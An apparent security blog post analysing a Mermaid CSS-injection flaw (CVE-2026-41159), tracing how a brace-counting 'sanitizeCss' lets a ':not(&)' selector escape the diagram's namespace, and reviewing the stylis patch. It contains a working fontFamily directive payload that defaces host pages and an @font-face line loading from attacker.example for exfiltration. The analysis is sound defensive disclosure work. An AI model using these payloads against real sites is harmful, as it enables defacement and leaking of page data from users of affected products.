//nefariousplan

CVE-2026-41159: Mermaid Called Its Brace Counter A CSS Sanitizer

vendor

patterns

cve

proof of concept

sanitizeCss() in packages/mermaid/src/utils/sanitizeDirective.ts is a brace counter. It iterates the input string once, increments startCnt on each {, increments endCnt on each }, returns '{ /* ERROR: Unbalanced CSS */ }' if the counts ever disagree, and returns the input unmodified if they do not. It does not parse selectors. It does not enforce structure. It does not know what an at-rule is. Its closing line is the comment // Todo add more checks here, present since Knut Sveidqvist added the function in December 2021.

CVE-2026-41159 is what happens when the function named after the threat is handed to a CSS-in-JS compiler that resolves the CSS Nesting Selector.

sanitizeCss does not parse CSS

The sanitizer is fourteen lines, from packages/mermaid/src/utils/sanitizeDirective.ts:

export const sanitizeCss = (str: string): string => {
  let startCnt = 0;
  let endCnt = 0;
  for (const element of str) {
    if (startCnt < endCnt) {
      return '{ /* ERROR: Unbalanced CSS */ }';
    }
    if (element === '{') {
      startCnt++;
    } else if (element === '}') {
      endCnt++;
    }
  }
  if (startCnt !== endCnt) {
    return '{ /* ERROR: Unbalanced CSS */ }';
  }
  // Todo add more checks here
  return str;
};

This is the function that decides whether themeCSS, fontFamily, and altFontFamily are safe to embed. The dispatcher that calls it is in the same file:

const cssMatchers = ['themeCSS', 'fontFamily', 'altFontFamily'];
for (const cssKey of cssMatchers) {
  if (key.includes(cssKey)) {
    log.debug('sanitizing css option', key);
    args[key] = sanitizeCss(args[key]);
  }
}

The three values are pulled out of the diagram's %%{init: {...}}%% directive, the in-band configuration block a Mermaid author writes into the Markdown source, and routed through sanitizeCss. The function's name appears in a log line. The function's body is two counters and a sentinel return on imbalance. Any string with balanced braces is returned to the caller unmodified. The string :not(&){background:red !important} has balanced braces.

The TODO is older than the bug. Knut Sveidqvist's commit 9c12502a3, dated December 14, 2021, introduces the function under the message "Testing that the added css have balanced brackets". The first sentence of that commit message is also the last sentence of the threat model the function ever implemented.

The containment was the namespace wrap

The sanitizer was never supposed to be the containment. The containment was applied at a different layer, in createUserStyles in packages/mermaid/src/mermaidAPI.ts. The pre-patch implementation is one line of work:

return serialize(compile(`${svgId}{${allStyles}}`), stringify);

svgId is the id of the SVG element Mermaid is about to render into, formatted as a CSS selector, something like #mermaid-1. allStyles is the CSS string the sanitizer already approved. The author wraps the styles in a parent selector and hands the result to stylis, the CSS-in-JS compiler React uses to power styled-components and emotion. The comment immediately above the line reads:

// Now turn all of the styles into a (compiled) string that starts with the id

The author was right that ${svgId}{...} looks like a parent selector. The author was right that stylis implements CSS Nesting. The author was right that nested rules get the parent prefixed onto them automatically. What the author missed: the CSS Nesting specification names the auto-prefix and names the exception. The MDN page the patch commit eventually cites:

If there's no & in the child rule selector, one gets prefixed automatically. However, if an & is present in the child rule selector, there's no automatic prefix of the parent rule selector.

Stylis implements both halves of that rule faithfully. A child rule containing & is left alone, because & is the way the author of the nested rule asserts that they already know where they want the parent to appear. The & is the namespace.

:not(&) is therefore the opposite of the namespace. Stylis compiles #mermaid-1{:not(&){background:red !important}} to:

:not(#mermaid-1){background:red!important;}

That selector matches every element on the page except the diagram.

One config field is the exploit

A user who can submit Mermaid source can write:

```mermaid
%%{init: {"fontFamily": "x; :not(&){background:red !important}"}}%%
flowchart LR
  A --> B
```

The directive is parsed. fontFamily is routed through sanitizeCss. Braces balance. The string passes. The value is handed to createCssStyles:

if (config.fontFamily !== undefined) {
  cssStyles.insertRule(
    `:root { --mermaid-font-family: ${config.fontFamily}}`,
    cssStyles.cssRules.length
  );
}

The interpolated CSS reads :root { --mermaid-font-family: x; :not(&){background:red !important}}. The next stage wraps that under #mermaid-1{...} and serializes through stylis. The output reaches the page as:

#mermaid-1 :root{--mermaid-font-family:x;}
:not(#mermaid-1){background:red!important;}

Every element outside the diagram now has a red background. The diagram was the submitter's. The page was not.

The submission surface is wherever a low-privileged caller's Mermaid source is rendered: a GitLab wiki, a Joplin note, a chat client's Markdown preview, a comment box on a status page, any product that promotes Mermaid as a built-in renderer for user-authored Markdown. The CVSS:3.1 vector AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L rates this 5.3 with availability impact only. The GHSA's own Details section names page defacement (integrity) and DOM attribute exfiltration via CSS :has() selectors (confidentiality). The scope flag says S:U, scope unchanged. The bug is CSS that escapes its containing component into every other component on the same document. One of those statements about CVE-2026-41159 describes the bug and one does not.

The patch is a stylis middleware that does not look at at-rules

Commit 64769738d5b59211e1decb471ffbaca8afec51aa (v11.15.0, April 1, 2026) and commit a9d9f0d8eb790349121508688cd338253fd80d76 (v10.9.6) ship the same fix. The previous serialize-compile pair is replaced by a new helper, compileCSS, that reaches for stylis's middleware API:

const compileCSS = (namespace: `#${string}`, css: string) => {
  return serialize(
    compile(`${namespace}{${css}}`),
    middleware([
      function addNamespace(element, _index, _children, _callback) {
        if (element.type === 'rule' && Array.isArray(element.props)) {
          element.props = element.props.map((prop) => {
            if (!prop.startsWith(namespace)) {
              return `${namespace} ${prop}`;
            }
            return prop;
          });
        }
      },
      stringify,
    ])
  );
};

A stylis middleware traverses the parsed AST. For every node whose type is 'rule', the middleware walks element.props, the list of selectors stylis has resolved for that rule, and prepends #mermaid-xxx to any selector that does not already begin with it. The :not(&) selector, which stylis has already expanded to :not(#mermaid-1), is rewritten to #mermaid-1 :not(#mermaid-1). The diagram-only constraint is restored.

The patch's test case in cypress/integration/other/ghsa.spec.js covers exactly one input shape:

it('should prevent CSS namespace injection via :not(&)', () => {
  imgSnapshotTest(`---
title: Green background CSS should not be able to escape the diagram using :not(&)
config:
  themeCSS: ':not(&){background:green !important}'
---
flowchart
  A --> B
   `, { logLevel: 1 });
  cy.get('body').should('not.have.css', 'background-color', 'rgb(0, 128, 0)');
});

The GHSA's own Details section names a second vector:

Global at-rules (@font-face, @keyframes, @counter-style) are also injectable as stylis hoists them to top level. This allows page defacement and DOM attribute exfiltration via CSS :has() selectors.

The patch's middleware checks element.type === 'rule'. Stylis's src/Enum.js declares the at-rule types KEYFRAMES, FONT_FACE, IMPORT, NAMESPACE, LAYER as separate constants from RULESET. The middleware does not match them. Empirically, against stylis 4.4.0 with the patch middleware applied:

=== post-patch @font-face ===
input:  #mermaid-1{@font-face{font-family:"x";src:url(https://attacker.example/exfil)}}
output: @font-face{font-family:"x";src:url(https://attacker.example/exfil);}

=== post-patch @counter-style ===
input:  #mermaid-1{@counter-style nef{system:cyclic;symbols:"x"}}
output: @counter-style nef{system:cyclic;symbols:"x";}

The at-rules emerge from the compiler hoisted, namespace-free, byte-identical to their pre-patch form. The post-patch @keyframes case is degenerate: the middleware injects #mermaid-1 mid-keyframe-selector, which yields invalid keyframe syntax that browsers silently drop, but the @keyframes registration itself remains global.

The patch is safe in practice because the rule-prefixing alone is enough. A hoisted @font-face is exploit-shaped only when something downstream sets font-family: <its name> on an element the attacker cares about, and every rule the same compiler emits now resolves with #mermaid-xxx in front of it. The architecture neuters the at-rule vector because the at-rule needs a rule consumer that the same architecture has scoped. The test case ships for the selector escape. The at-rule containment is a side effect of the same prefix logic, asserted by neither the unit test nor the Cypress test.

Gate Narrower Than Sink

sanitizeCss and stylis are two parsers reading the same input. sanitizeCss defines safety as every { has a matching }. Stylis defines syntax as everything the CSS Nesting specification allows, with explicit handling for &, :not(&), @font-face, @keyframes, and the rest.

The set of strings the sanitizer accepts strictly contains the set of strings stylis treats as valid CSS, and the strings the sanitizer accepts that stylis does not interpret innocuously are the bypass. That shape has a name in this catalog. It is Gate Narrower Than Sink, the pattern where a filter's grammar is strictly contained within the downstream sink's grammar and inputs the sink accepts but the filter does not match flow through unfiltered. We have written about it before. W3 Total Cache's CVE-2026-27384 was two PHP regexes that described the same mfunc template syntax with different whitespace rules. The shell-quote CVE-2026-9277 was a JavaScript character-class regex and POSIX sh disagreeing about whether the newline character is part of "any character". Starlette's CVE-2026-48710 was urllib.parse.urlsplit reading a path string assembled from the Host header on one side and the ASGI server's raw request-line parser on the other.

Mermaid extends the shape into CSS. The gate's matcher is a single-state finite automaton that increments two counters. The sink's matcher implements the CSS Nesting specification. The two matchers were written to enforce the same notion, this string is safe to embed as CSS, and disagreed at the level of every CSS feature past brace pairing.

There is a second pattern in the same vendor. Mermaid ships a secure config option that prevents diagrams from overriding security-relevant fields at runtime, and a securityLevel: 'sandbox' mode that puts the rendered SVG inside a sandboxed iframe. Either choice would have prevented this exploit. Neither is default. The GHSA's Workarounds section names both. The unsafe default is what shipped. That is Safe Mode Was Opt In, the pattern EspoCRM exhibited with defaultTransform, vm2 exhibited with bufferAllocLimit: Infinity, and WPCode exhibited with register_post_type defaulting capability_type to 'post'. Mermaid's variant: the flag that turns off attacker-controlled CSS exists, has a name, and is off by default.

The function named after the threat

sanitizeCss was named after the threat. Its body is bookkeeping. The threat is enforced two files away by a CSS-in-JS compiler whose nesting semantics the sanitizer was never aware of. The April 2026 patch closes the named exploit by inserting a middleware into the compiler that traverses the rule AST and prefixes the namespace onto every selector that does not already begin with it. The same patch does not touch sanitizeCss. The function's name remains sanitizeCss. Its closing comment remains // Todo add more checks here, with four years and four months of git history above it now to draw the line under what was on the maintainer's mind every time they opened the file and what was not.

PoC: GHSA-87f9-hvmw-gh4p

The patch lives in the compiler. The function called sanitizeCss is unchanged. Its closing comment still reads // Todo add more checks here.